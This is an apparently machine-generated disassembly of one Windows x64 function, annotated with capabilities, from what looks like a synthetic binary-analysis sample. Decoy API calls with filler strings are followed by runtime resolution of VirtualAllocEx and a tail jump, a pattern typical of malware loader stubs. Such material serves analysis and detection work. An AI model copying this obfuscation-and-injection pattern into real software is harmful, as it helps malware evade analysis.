Function at 0x6bad3365
Capabilities:
Access the windows event log
Set current directory
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x54], eax
mov rax, qword [0x6bb884c0]
mov qword [rsp + 0x38], rcx
cmp dword [rax], 0x12ec
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], r8
mov dword [rsp + 0x50], r9d
jle 0x6bad38a6
mov rax, qword [0x6bb88400]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb886d0]
mov r15, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rcx, str.HannahRoob
mov dword [rdx], eax
mov rax, qword [0x6bb880e0]
mov edx, dword [rax]
mov rax, qword [0x6bb88020]
mov dword [rax], edx
lea rdx, str.Sequi_corrupti_unde_doloribus_quis_rerum_culpa
call r15
mov rax, qword [0x6bb87d80]
mov rdi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.MsMyahSchambergerPhD
mov dword [rax], 0x4e66f02c
call rdi
mov rax, qword [0x6bb87ef0]
mov rbx, qword [0x6bb87c90]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call rbx
mov rbp, qword [0x6bb883c0]
lea rcx, str.MyraPrice
mov dword [rbp], 0xf16e8509
call rdi
mov rax, qword [0x6bb882c0]
mov rsi, qword [0x6bb87c10]
mov ecx, 0xcc6bb210
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.6bad9930
mov rdx, qword [0x6bb87d10]
mov ecx, 0xd2f779e6
mov dword [rdx], eax
mov rax, qword [0x6bb88130]
mov dword [rax], 0xf43b4e8f
mov rax, qword [0x6bb882a0]
mov edx, dword [rax]
mov rax, qword [0x6bb882b0]
mov dword [rax], edx
call fcn.6bad9930
mov rdx, qword [0x6bb87e00]
mov r13, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x6bb886a0]
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb87f70]
mov dword [rax], edx
mov rax, qword [str.32_]
xor edx, edx
mov dword [rax], 0xa9b7fc64
mov rax, qword [0x6bb87da0]
mov dword [rax], 0xe119f60e
mov qword [rsp + 0x20], 0
call rsi
mov rax, qword [0x6bb88460]
lea rdx, str.Enim_rerum_eaque_sequi_dolorum_est_cumque_nemo_laboriosam
lea rcx, str.Porro_sunt_est_doloremque_quisquam_facilis_hic_et_perspiciatis
mov dword [rax], 0x7519236e
call r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r12, qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
lea rdx, str.Dolor_sit_maiores_eos_error_voluptatum_corrupti
lea rcx, str.EstevanTreutel
call r12
mov ecx, 0x22065ffa
call fcn.6bad9930
mov rdx, qword [0x6bb88270]
mov r14, qword [0x6bb88570]
mov dword [rdx], eax
mov rax, qword [0x6bb87bc0]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x6bb87fe0]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb87e80]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x6bb88670]
mov rcx, qword [0x6bb87c90]
mov edx, dword [rax]
mov rax, qword [0x6bb87e30]
mov dword [rax], edx
mov rax, qword [0x6bb87c10]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x6bb88370]
mov ecx, dword [rax]
call fcn.6bad9930
xor ecx, ecx
mov dword [rbp], eax
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call rbp
lea rcx, str.SusanBrakus
call rdi
lea rdx, str.Omnis_tempore_voluptatibus_consequatur_corporis_possimus_sed_ducimus_est
lea rcx, str.Dignissimos_exercitationem_vitae_perferendis_earum
call r12
mov rax, qword [0x6bb883d0]
mov ecx, dword [rax]
call fcn.6bad9930
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rdx, qword [0x6bb87fc0]
xor r8d, r8d
mov qword [rsp + 0x58], r10
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r10
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
mov r12, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call r12
mov ecx, 0xdb75cbe8
call fcn.6bad9930
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb88470]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x20], 0
call rsi
mov rax, qword [0x6bb885d0]
mov ecx, 0xe0a930dc
mov dword [rax], 0x68bb41c1
mov rax, qword [0x6bb87ec0]
mov dword [rax], 0x6c22f688
mov rax, qword [0x6bb883a0]
mov edx, dword [rax]
mov rax, qword [0x6bb885c0]
mov dword [rax], edx
call fcn.6bad9930
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb880a0]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x20], 0
call rsi
mov rax, qword [0x6bb87fb0]
xor edx, edx
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rax], 0x1a12bb72
call rsi
mov ecx, 0xa8c91e23
call fcn.6bad9930
xor r9d, r9d
lea r8, str.Et_ullam_non_optio_rerum_ut_ipsum_saepe_modi_ab
lea rdx, str.ReymundoKeelingI
mov dword [r14], eax
lea rcx, str.MrsSibylColeSr
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReplaceFileA]
xor ecx, ecx
call r12
xor ecx, ecx
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x6bb87f30]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb88360]
lea rcx, str.Numquam_sit_quae_libero_qui_voluptatum_aut_ipsa_sit
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x6bb885b0]
mov dword [rax], edx
lea rdx, str.Modi_ea_voluptatem_ipsa_qui_quis_repellendus_veniam_consequatur
call r15
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x6bb87ba0]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb87db0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rbp
mov rax, qword [0x6bb87dd0]
mov r8, qword [0x6bb87fa0]
lea rcx, str.Ut_magnam_perspiciatis_maxime_aut_alias_et_expedita_voluptas_eum
mov dword [rax], 0x27e5da2e
mov rax, qword [0x6bb882f0]
mov eax, dword [rax]
mov dword [r8], eax
mov rax, qword [0x6bb87ca0]
mov dword [rax], 0x276bfa8e
call rdi
mov ecx, 0xa7508954
call fcn.6bad9930
mov rdx, qword [0x6bb87f40]
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, dword [r14]
call fcn.6bad9930
mov rdx, qword [0x6bb87cf0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rbx
mov rax, qword [0x6bb87f10]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdx, qword [0x6bb886e0]
lea rcx, str.PaulineKulas
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.OtiliaKertzmann
call rdi
mov r8, qword [0x6bb87fa0]
mov rax, qword [0x6bb87c30]
xor ecx, ecx
mov edx, dword [r8]
mov dword [rax], edx
mov rax, qword [0x6bb88100]
xor edx, edx
mov dword [rax], 0xa5fa60b8
mov rax, qword [0x6bb87f60]
mov eax, dword [rax]
mov dword [r8], eax
call rsi
mov rax, qword [0x6bb87c10]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x3d24f41b
call rsi
mov rax, qword [0x6bb87c50]
mov r10, qword [rsp + 0x58]
xor edx, edx
xor r8d, r8d
xor ecx, ecx
mov dword [rax], 0x138fbdae
call r10
mov rax, qword [0x6bb88430]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb87eb0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov rax, qword [0x6bb88000]
mov ecx, dword [rax]
call fcn.6bad9930
mov rdi, qword [0x6bb87c90]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call rsi
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
xor ecx, ecx
call rbx
xor ecx, ecx
call r12
mov rax, qword [0x6bb88240]
mov rbx, qword [0x6bb87bc0]
mov eax, dword [rax]
mov dword [rbx], eax
lea rdx, str.VirtualAllocEx
lea rcx, str.kernel32.dll
call fcn.6bad103b
mov edi, dword [rsp + 0x54]
mov r9d, dword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0xd0], edi
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax